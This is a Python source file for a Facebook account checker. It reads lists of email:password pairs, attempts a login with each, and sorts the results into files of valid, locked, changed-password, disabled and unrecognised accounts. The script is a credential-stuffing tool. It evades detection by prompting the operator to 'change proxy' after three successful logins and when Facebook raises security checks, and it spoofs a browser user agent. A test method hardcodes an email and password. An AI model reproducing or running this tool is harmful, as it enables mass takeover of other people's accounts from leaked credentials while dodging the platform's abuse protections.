#!/usr/bin/env python

import os
import re
import time
import component

import resource.string.app

from _browser import Browser
from urlparse import urlparse
from progressbar import (ProgressBar, Bar, ETA, Percentage)

class Checker(component.Console):
    
    class Message(object):
        ok = 'OK ^_^\n'
        error = 'Error >_<\n'
        progress = 'Processing entry #{:,} or {:,}.\n'
        checking = 'Checking user %s... '
        retry = 'Will try again later.\n'
        update = 'Updating %s file... '
        log = 'Log response for %s to file... '
        abort = '\nOperation aborted.\n'
        shouldContinue = 'Do you want to continye?'
        
        def __init__(self):
            self.valid = component.Namespace()
            self.valid.info = 'Account %s is valid.\n'
            self.valid.progress = 'Add %s to valid file... '
            self.valid.maximum = ('Maximum success login reached. Please '
                                  'change proxy.\n')
            
            self.lock = component.Namespace()
            self.lock.info = 'Account %s is locked.\n'
            self.lock.progress = 'Add %s to locked file... '
                    
            self.change = component.Namespace()
            self.change.info = 'Account %s has change the password.\n'
            self.change.progress = 'Add %s to changed file... '
                      
            self.invalid = component.Namespace()
            self.invalid.info = 'Account %s is not recognized.\n'
            self.invalid.progress = 'Add %s to invalid file... '
                       
            self.disable = component.Namespace()
            self.disable.info = 'Account %s has been disabled.\n'
            self.disable.progress = 'Add %s to disabled file... '
                       
            self.suspicious = component.Namespace()
            self.suspicious.info = ('Facebook grows suspicious.\n'
                                    'Please change the proxy.')
            
            self.unknown = component.Namespace()
            self.unknown.info = 'Response is unchecked.\n'
            self.unknown.progress = ('Log response and add %s to unknown '
                                     'file... ')
    
    def run(self):
        """Main program"""
        
        self.greeting(resource.string.app)
        
        if self._verbose: self.createLogFolder()
        
        self.check()
##        self.testUserAgent()
        
        self.farewell()
        
    def testUserAgent(self):
        import mechanize
        
        browser = mechanize.Browser()
        browser.set_handle_robots(False)
        browser._cookies = mechanize.CookieJar()
        userAgent = ('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) '
                     'Gecko/20100101 Firefox/23.0')
        browser.addheaders = [('User-agent', userAgent)]
        handle = browser.open('http://www.whatsmyuseragent.com')
        response = handle.read()
        
        file = component.File('MyUserAgent.htm')
        file.text.write(response)
        
    def test(self):
        email = 'julot@gmail.com'
        password = 'Testing12345'
        browser = Browser(email, password)
        response = browser.read()
        self.writeResponse(email, response)
        
        
    _file = None
    _logFolderCreated = False
    
    @property
    def file(self):
        if self._file: return self._file
        
        self._file = component.File(self.argument.filename)
        return self._file
        
    def createLogFolder(self):
        if self._logFolderCreated: return
    
        path = os.path.join(self.file.directory.path, self.file.name)
        component.Directory.create(path)
        self._logFolderCreated = True
        
    def check(self):
        message = self.Message()
        
        users = self.read()
        counter = 0
        total = len(users)
        suspicionStatuses = [Browser.STATUS_PLEASE_CONFIRM,
                             Browser.STATUS_SECURITY_CHECK,
                             Browser.STATUS_TRY_AGAIN]
        successCounter = 0
        aborted = False
        shouldConfirm = False
        
        while True:
            counter += 1
            
            try: user = users.pop(0)
            except: break
            
            self.info(message.progress.format(counter, total))
            
            try: email, password = user.split(':')
            except: continue
            
            if len(password) < 6: continue
            
            delay = self.argument.delay
            shouldLogResponse = False
            
            self.progress(message.checking % email)
            browser = Browser(email, password)
            
            try:
                response = browser.read()
                self.success(message.ok)
            except KeyboardInterrupt:
                aborted = True
                break
            
            except:
                self.fail(message.error)
                self.info(message.retry)
                users.append(user)
                self.sleep(delay)
                continue
            
            if browser.status == Browser.STATUS_LOGGED:
                self.info(message.valid.info % email)
                self.progress(message.valid.progress % email)
                self.addValid(user)
                successCounter += 1
            elif browser.status == Browser.STATUS_ACCOUNT_LOCKED:
                self.info(message.lock.info % email)
                self.progress(message.lock.progress % email)
                self.addLocked(user)
            elif browser.status == Browser.STATUS_ACCOUNT_DISABLED:
                self.info(message.disable.info % email)
                self.progress(message.disable.progress % email)
                self.addDisabled(user)
            elif browser.status == Browser.STATUS_WRONG_PASSWORD:
                self.info(message.change.info % email)
                self.progress(message.change.progress % email)
                self.addChanged(user)
            elif browser.status == Browser.STATUS_NON_USER:
                self.info(message.invalid.info % email)
                self.progress(message.invalid.progress % email)
                self.addInvalid(user)
            elif browser.status in suspicionStatuses:
                self.alert(message.suspicious.info)
                shouldConfirm = True
            else:
                shouldLogResponse = True
                self.info(message.unknown.info)
                self.progress(message.unknown.progress % email)
                self.addUnknown(user)
                
            self.success(message.ok)
            
            self.progress(message.update % self.argument.filename)
            self.write(users)
            self.success(message.ok)
            
            if shouldLogResponse or self._verbose:
                self.createLogFolder()
                self.progress(message.log % email)
                self.writeResponse(email, response)
                self.success(message.ok)
            
            if successCounter >= 3:
                self.warning(message.valid.maximum)
                shouldConfirm = True
                
            if shouldConfirm:
                aborted = not self.ask(message.shouldContinue)
                if aborted: break
                
                successCounter = 0
            
            try:
                self.sleep(delay)
            except:
                aborted = True
                break
        
        if aborted:
            self.fail(message.abort)
        
    def read(self):
        return [x.strip() for x in self.file.text.read().strip().splitlines()]
        
    def write(self, users):
        self.file.text.write('\n'.join(users))
    
    def addValid(self, user):
        name = '%s.valid.txt' % self.file.name
        file = component.File(os.path.join(self.file.directory.path, name))
        file.text.append('\n%s' % user)
    
    def addLocked(self, user):
        name = '%s.locked.txt' % self.file.name
        file = component.File(os.path.join(self.file.directory.path, name))
        file.text.append('\n%s' % user)
    
    def addInvalid(self, user):
        name = '%s.invalid.txt' % self.file.name
        file = component.File(os.path.join(self.file.directory.path, name))
        file.text.append('\n%s' % user)
    
    def addChanged(self, user):
        name = '%s.changed.txt' % self.file.name
        file = component.File(os.path.join(self.file.directory.path, name))
        file.text.append('\n%s' % user)
    
    def addDisabled(self, user):
        name = '%s.disabled.txt' % self.file.name
        file = component.File(os.path.join(self.file.directory.path, name))
        file.text.append('\n%s' % user)
    
    def addUnknown(self, user):
        name = '%s.unknown.txt' % self.file.name
        file = component.File(os.path.join(self.file.directory.path, name))
        file.text.append('\n%s' % user)
    
    def writeResponse(self, email, response):
        """Write response to file
        
        Args:
            email: A string of email address.
            response: A string of response.
        """
        
        file = component.File(self.argument.filename)
        name = '%s.htm' % email
        path = os.path.join(file.directory.path, file.name, name)
        log = component.File(path)
        log.text.write(response)
    
    def sleep(self, delay):
        """Do nothing just counting time
        
        Args:
            delay: An integer determine the waiting time in seconds.
        """
        
        if self._silent:
            time.sleep(delay)
            return
        
        caption = 'Sleeping for {:,} seconds '.format(delay)
        bar = Bar(left='[', right=']')
        widgets = [caption, bar, ' ', Percentage(),' ', ETA()]
        gauge = ProgressBar(widgets=widgets, maxval=delay)
        gauge.start()
        
        chunk = delay / 100.0
        for index in range(1, 101):
            time.sleep(chunk)
            progress = chunk * index
            if progress > delay: progress = delay
            gauge.update(progress)
        
        gauge.finish()
        